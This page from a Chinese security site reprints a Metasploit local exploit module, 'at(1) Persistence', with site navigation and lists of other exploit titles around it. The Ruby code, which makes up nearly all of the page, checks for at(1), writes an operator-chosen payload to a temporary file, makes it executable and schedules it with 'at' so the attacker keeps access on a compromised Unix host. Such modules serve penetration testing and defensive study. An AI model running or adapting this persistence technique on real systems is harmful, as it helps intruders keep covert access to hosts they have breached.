首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
at(1) Persistence Module
来源:metasploit.com 作者:Jon Hart 发布时间:2016-12-23  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'at(1) Persistence',
        'Description'    => %q(
          This module achieves persisience by executing payloads via at(1).
        ),
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'Jon Hart <jon_hart@rapid7.com>'
          ],
        'Targets'        => [['Automatic', {} ]],
        'DefaultTarget'  => 0,
        'Platform'       => %w(unix),
        'Arch'           => ARCH_CMD,
        'DisclosureDate' => "Jan 1 1997" # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
      )
    )

    register_options(
      [
        OptString.new('TIME', [false, 'When to run job via at(1).  Changing may require WfsDelay to be adjusted.', 'now'])
      ]
    )

    register_advanced_options(
      [
        OptString.new('PATH', [false, 'Path to store payload to be executed by at(1).  Leave unset to use mktemp.'])
      ]
    )
  end

  def check
    token = Rex::Text.rand_text_alphanumeric(8)
    if cmd_exec("atq && echo #{token}").include?(token)
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::NoAccess, 'User denied cron via at.deny')
    end

    unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp')))
      fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
    end

    write_file(payload_file, payload.encoded)
    register_files_for_cleanup(payload_file)

    cmd_exec("chmod 700 #{payload_file}")
    cmd_exec("at -f #{payload_file} #{datastore['TIME']}")

    print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·NETGEAR WNR2000v5 - Remote Cod
·IBM AIX 6.1/7.1/7.2 - 'Bellmai
·Microsoft Edge - International
·macOS 10.12.1 Kernel - Writabl
·Microsoft Edge - SIMD.toLocale
·Vesta Control Panel 0.9.8-16 -
·Microsoft Internet Explorer 11
·macOS 10.12 - Double vm_deallo
·Google Chrome < 31.0.1650.48 -
·macOS < 10.12.2 / iOS < 10.2 K
·ntop-ng 2.5.160805 - Username
·macOS < 10.12.2 / iOS < 10.2 -
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved